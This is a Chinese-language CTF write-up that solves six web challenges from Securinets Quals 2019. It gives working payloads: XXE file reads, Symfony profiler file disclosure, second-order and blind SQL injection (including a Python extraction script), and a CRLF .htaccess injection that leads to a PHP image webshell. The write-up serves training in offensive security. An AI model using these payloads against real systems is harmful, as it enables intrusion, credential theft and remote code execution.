Securinets CTF Quals 2019 Web Write-up
Anthem CTF 10216浏览 · 2019-04-03 01:38

Web

Feedback

I created this website to get your feedback on our CTF.
Can you check if it's secure ?
Ps: flag stored in "flag" file

Link: https://web2.ctfsecurinets.com/

查看网页HTML源码

发现网站通过AJAX请求发送反馈

<script type="text/javascript">
function func(){
    var xml = '' +
        '<?xml version="1.0" encoding="UTF-8"?>' +
        '<feedback>' +
        '<author>' + $('input[name="name"]').val() + '</author>' +
        '<email>' + $('input[name="email"]').val() + '</email>' +
        '<content>' + $('input[name="feedback"]').val() + '</content>' +
        '</feedback>';
    var xmlhttp = new XMLHttpRequest();
    xmlhttp.onreadystatechange = function () {
        if(xmlhttp.readyState == 4){
            console.log(xmlhttp.readyState);
            console.log(xmlhttp.responseText);
            document.getElementById('Message').innerHTML = xmlhttp.responseText;
        }
    }
    xmlhttp.open("POST","feed.php",true);
    xmlhttp.send(xml);
};
</script>

请求的格式是XML,那么第一个想到的肯定是XXE,那么我尝试读取/etc/passwd文件

读取成功,存在XXE,那么接下来使用php伪协议读取flag文件

解Base64编码得到flag: Securinets{XxexXE@Ll_Th3_W@Y}

Custom Location

Try to find out the database credentials.

The author changed the location of some files to protect the web application from script kiddies.

Link: https://web0.ctfsecurinets.com/

题目要求是找到数据库凭证,一般我们的思路是找到网站的配置文件比如setting.pysetting.inc,再从中读取数据库的账户密码信息。

那么我们先进行一番信息搜集,如果目标是某个框架,那么配置文件的位置就明确了。

打开网站

只简单显示了一个页面,HTML源码,响应头都中没有我们想要的有关框架的信息,我下一个想到是访问robots.txt文件,有一些框架会自动生成robots.txt文件并再里面写上自己框架的名字,比如phpcms,又比如dedecms,虽然没在robots.txt中写上自己的大名,但相似的目录结构仍然暴露了信息,于是我尝试访问robots.txt

虽然robots.txt不存在,但意外发现了一个大宝贝,这个网站使用的是PHP的Symfony框架,并且开启了Debug模式,我们甚至可以直接点击页面的文件来阅读源码,接下来只要找到配置文件的位置就行了,那么我们快速浏览一下Symfony的官方文档,发现了Profiler组件,这就是报错页面中使我们能够只浏览文件的组件,这玩意还有一个控制台,访问https://web0.ctfsecurinets.com/_profiler

打开控制台,随意浏览一下,期望在控制台中直接找到数据库配置信息,打开一个请求

找到一个Configuration,进去康康

ヾ(。`Д´。)我擦,出现了!!!

QAQ 被题目作者料到了。

回到原来的思路,根据Symfony和其版本4.2.4,查阅其文档

https://symfony.com/doc/4.2/best_practices/configuration.html

那么我们就使用Profiler模块尝试读取.env模块

https://web0.ctfsecurinets.com/_profiler/open?file=.env

返回404,这时想到了,题目中描述的内容和题目名称给的提示,或许是更改了配置文件位置来保护配置文件。

那么怎么找到新的配置文件位置呢?

我的思路是,框架必须要引入配置文件才能正常运行,比如index.php中要引用这个文件,那么我们只需要找到index.php查看引用就能找到.env的位置了。

那么怎么知道哪些文件引用了.env了,我的做法是下载框架源码,搜索其中含有.env字段的文件

最后发现只有config/bootstrap.php中引用了.env文件,那么使用Profiler模块读取它

https://web0.ctfsecurinets.com/_profiler/open?file=config/bootstrap.php

原来在这里,读取这个文件

https://web0.ctfsecurinets.com/_profiler/open?file=secret_ctf_location/env

拿到flag

SQL Injected

Task url: https://web5.ctfsecurinets.com

You can download the source code here

Author: Oussama

ps: i don't like the task's name

  • flags.php
<?php
if($_SESSION['role'] === '1') {
?>
    <div class="alert alert-success">
        The flag is: <?php echo $flag ?>
    </div>
<?php

我们需要设置role属性值为1才能拿到Flag

  • index.php
$sql = "SELECT * FROM posts WHERE author = '". $_SESSION['username'] ."'";

审计发现index.php中的上述代码,其中Session中username未进行过滤就进行了查询,这就产生了一个二次注入。

  • create_db.sql
create database webn;
create table users (id int auto_increment primary key, login varchar(100), password varchar(100), role boolean default 0);
create table posts (id int auto_increment primary key, title varchar(50), content text, date Date, author varchar(100));

通过代码中给出的SQL语句我们构造一下Payload

' UNION SELECT id, login, password, NULL, NULL FROM users WHERE role = 1 AND '' = '

把上面的Payload作为用户名进行注册。

然后登出,重新登录,就会触发二次注入。

使用查询到的用户名和密码登录获取flag

Beginner's Luck

Can you help me to win the flag ? I bet you can't ..

We were given a website along with its sourcecode (PHP).

Link

打开题目页面,有一个Generate按钮,每次点击,一个随机序列就会生成,一共有十次机会,十次机会过后会话就会结束。

查看下HTML源码,关键看JS和form标签

<form id="form" method="POST" action="" >
<input name="val" type="hidden" id="val">
</form>
<script type="text/javascript">
function generate_random_string(string_length){
    let random_string = '';
    let random_ascii;
    for(let i = 0; i < string_length; i++) {
        random_ascii = Math.floor((Math.random() * 25) + 97);
        random_string += String.fromCharCode(random_ascii)
    }
    return random_string
}
function generate()
{
const input=document.getElementById("val");
input.value=generate_random_string(100);
document.getElementById("form").submit();
}
</script>
<div class="buttonHolder">
<input type="button" name="b1" value="Generate" onclick="generate()">
</div>

每次点击generate,JS就会产生一个100字符的随机字符串token向服务端发送,发送正确的token才能获得flag。

开始审计

  • Index.php
<?php
session_start();
require_once ("bd.php");

function generateRandomToken($length)
    {
        //generate random token
    }

if (!isset($_SESSION['count']))
    {
    $_SESSION['count'] = 0;
    $pass = generateRandomToken(100);
    $ip = $_SERVER['REMOTE_ADDR'];
    $sql = "INSERT INTO users (ip, token) VALUES (?,?)";
    $stmt = $pdo->prepare($sql);
    $stmt->execute([$ip, $pass]);
    }

header("Location:play.php");

会话初始化的时候会生成一个随机100字符的token,但生成token的函数并没有给我们。

user表中存储了ip和token两个字段。

  • play.php
<?php
$max_count = 10;

if (!isset($_SESSION['count']))
    {
    echo "<h1>Session Expired ! Please click <a href='start.php'></h1> here</a> ";
    die();
    }

require_once ("task_bd.php");

$currentValue = '';

if (isset($_POST["val"]))
    {
    if ($_SESSION['count'] >= $max_count)
        {
        header("Location:reset.php");
        die();
        }

    $_SESSION['count']++;
    try
        {
        $sql = "SELECT * FROM users WHERE ip='" . $_SERVER['REMOTE_ADDR'] . "' AND token='" . $_POST['val'] . "'";
        $result = $conn->query($sql);
        if ($result)
            {
            $row = $result->fetch_assoc();
            }
          else
            {
            $row = false;
            }
        }

    catch(PDOException $e)
        {

        // echo $e;

        }

    if ($row)
        {
        echo "<h1>True</h1>";
        echo "<div><h4>Click <a href='flag.php'>here</a> and use the token to get your flag</h4></div>";
        }
      else
        {
        echo "<h4>Better luck next time !</h4>";
        }

    $currentValue = $_POST['val'];
    }

echo "<h3>Attempt: " . ($_SESSION['count']) . " / " . $max_count . "</h2><br />";
?>

很明显,这里有个注入

$sql = "SELECT * FROM users WHERE ip='" . $_SERVER['REMOTE_ADDR'] . "' AND token='" . $_POST['val'] . "'";

这个查询完成后不会将查询的数据回显出来,而是会回答True或者False,也就是说,这是布尔盲注。

但这里有个限制,没查询一次,count就会+1,查询十次会话就会结束,新的token就会生成。

这里需要一个代理服务器,使用访问一下题目网站,建立session,记录代理服务器的IP地址,然后使用主机进行盲注注出代理服务器IP对应的Token,再使用代理服务器提交Token

盲注脚本如下

mport requests

url = "https://web4.ctfsecurinets.com/play.php"

injection = "' OR (ip='Your Proxy IP' AND substring(token,%s,1)='%s') AND '1'='1"
token = ''

for i in range(1, 101):
  for b in 'abcdefghijklmnopqrstuvwxyz0123456789':
    requests.get(url.replace('play', 'reset'))
    s = requests.session()
    s.get(url.replace('play', 'index'))
    c = s.post(url, data={'val': injection % (i, b)}).content
    if b'>True<' in c:
      token += b
      print(i, token)
      break
Securinets{GG_uMadeIT_BLiIiND_M@N}

Trading values

N00B developers are an easy target. Try to exploit the application feature to get the hidden flag.

Link: https://web1.ctfsecurinets.com/

Hint (pinned on Web channel from Discord):

Hint 1: Trading values: It's a server side task

Hint 2: Trading values: change request values as a hacker

Hint 3: Trading values: For the last part of the task: try to find another one. You don't know it but it's known by everyone

打开题目,显示一个动态的交易数据曲线图,打开开发者工具看一下

发现前端持续向后端发送了大量xhr类型的请求,URL如下

https://web1.ctfsecurinets.com/default?formula=KHYxLm1way12MS5kcmYqKHYxLm1way8wLjEpLXYxLmRyZikvKHYxLmF2ZyowLjgpLSh2Mi5hdmcvKCgxLzIpKnYyLm1kcy0yNC92Mi5kbXEqMTApKSsodjMucGRpLXYzLnBkaSszLzIqKDIvNSp2My5yYXIpLTY2KnYzLmdkcCkqNy41Lyh2NC5tdW0vdjQuZGFkKSo2LjUvdjQuYXZn&values%5Bv1%5D=STC&values%5Bv2%5D=PLA&values%5Bv3%5D=SDF&values%5Bv4%5D=OCK

变量如下

formula: KHYxLm1wayt2MS5kcmYqKHYxLm1way8wLjUpLXYxLmRyZikvKHYxLmF2ZyowLjEpKyh2Mi5hdmcqKHYyLm1kcyt2Mi5kbXEpKS0odjMucGRpK3YzLnBkaSszLzIqKHYzLnJhciktdjMuZ2RwKSswLjI1Kih2NC5tdW0qdjQuZGFkKSp2NC5hdmc=
values[v1]: STC
values[v2]: PLA
values[v3]: SDF
values[v4]: OCK

返回了一个浮点数159964.51282051

公式base64解密下得到

(v1.mpk+v1.drf*(v1.mpk/0.5)-v1.drf)/(v1.avg*0.1)+(v2.avg*(v2.mds+v2.dmq))-(v3.pdi+v3.pdi+3/2*(v3.rar)-v3.gdp)+0.25*(v4.mum*v4.dad)*v4.avg

那么逻辑很简单,输入一个公式和四个变量然后计算出一个结果(公式中可以用变量)。

那么输入1+1会不会输出2呢,把1+1Base64编码一下MSsx

返回了2,有趣,那么再做如下测试,输入一个随机字符串看看会发生什么,Base64编码jgkhamdraA==

服务器把随机字符串当做变量,并试图输出这个变量,看起来像个服务器端模板注入。那么我想知道这是什么框架写的,访问robots.txt,返回404错误,将错误信息Google一下,发现是PHP的Symfony框架。

结合第三个hint,我输出v1,并将v1的值指向this

搜索得到Flag

Unbreakable Uploader

Find out the Mysql credentials and search the flag from the database.

Link: https://web3.ctfsecurinets.com/

Hint (pinned on Web channel from Discord):

Hint 1 for Unbreakable Uploader: try Action deny, target all on the begining

长记性了,作者是不是喜欢Symfony框架啊,一上来先访问下robots.txt,果然又是。。。

打开题目,进入一个图片上传服务器,现在我们能上传图片文件,还能设置允许或拒绝目标的访问。

随意上传一个图片并访问,查看URL

https://web3.ctfsecurinets.com/uploads/76edd768faa19ba81c91c6544705f095/c95372118d1ecff7750341602d3674e1.jpeg

上传的图片被保存到了一个新生成的文件夹,图片也被重命名了。

尝试把自己的图片权限设置为Deny 0.0.0.0,也就是所有人都不能访问。

尝试访问,果然返回了403,不过也告诉我们这是个运行在Debian上的Apache服务器。

Apache服务器要实现权限控制一般要使用.htaccess文件,如果添加条件的过程是在读写.htaccess文件,那我们就可能通过控制.htaccess文件让Apache用php解析图片文件,比如写入如下内容

AddType application/x-httpd-php .png
AddHandler application/x-httpd-php .png

添加这样的配置以后,Apache处理.png文件时就会去调用PHP来解析。

要添加这样的配置,我们还需要一个CRLF注入,简单使用%0d%0a就OK

Payload

0.0.0.0%0d%0aAddType%20application%2Fx-httpd-php%20.png%0d%0aAddHandler%20application%2Fx-httpd-php%20.png

重新打开图片,显示乱码,说明.htaccess文件生效

传个图片马上去

成功执行,这是Symfony框架,根据前几题的经验,我们知道数据库凭证保存在web根目录的.env文件中

使用中国蚁剑连接

注意这里要选择MYSQLI

得到flag

0 条评论
某人
表情
可输入 255